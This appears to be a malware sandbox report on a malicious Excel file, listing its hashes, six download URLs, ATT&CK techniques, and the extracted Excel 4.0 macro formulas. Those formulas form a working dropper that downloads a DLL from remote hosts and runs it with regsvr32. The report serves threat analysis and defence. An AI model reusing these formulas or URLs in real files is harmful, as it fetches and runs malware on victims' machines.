Overview

overview

10

Static

static

10

gkzbqkep.xlsm

windows7_x64

10

gkzbqkep.xlsm

windows10-2004_x64

10

Sharing

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General

  • Target

    gkzbqkep

  • Size

    46KB

  • Sample

    220522-f45aeafgf3

  • MD5

    20bd380d26f0d7291ba9c8c21d4318c6

  • SHA1

    1e2bd86e8faf65742de07b58fbbe3b7cafce7143

  • SHA256

    62c189060c43573eb24597cf25c683c10baa2d25165f5de393f846864ecefc46

  • SHA512

    8abd65f5f4934a7d0913877bfde50a2afc5c5e09c19286485093294ea78d9f78846ef059e8c80a71b9943a64a9579b926399a22a670f3c0fc3ae31dc0a35bcf6

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://eles-tech.com/css/KzMysMqFMs/

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

https://txpcrescue.com/cgi-bin/5tSO8/

http://hadramout21.com/jetpack-temp/Py/

http://haribuilders.com/zoombox-master/4HYGX/

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/
xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/
xlm40.dropper

https://txpcrescue.com/cgi-bin/5tSO8/
xlm40.dropper

http://hadramout21.com/jetpack-temp/Py/
xlm40.dropper

http://haribuilders.com/zoombox-master/4HYGX/
xlm40.dropper

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/
xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

Targets

    • Target

      gkzbqkep

    • Size

      46KB

    • MD5

      20bd380d26f0d7291ba9c8c21d4318c6

    • SHA1

      1e2bd86e8faf65742de07b58fbbe3b7cafce7143

    • SHA256

      62c189060c43573eb24597cf25c683c10baa2d25165f5de393f846864ecefc46

    • SHA512

      8abd65f5f4934a7d0913877bfde50a2afc5c5e09c19286485093294ea78d9f78846ef059e8c80a71b9943a64a9579b926399a22a670f3c0fc3ae31dc0a35bcf6

    Score
    10/10
    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks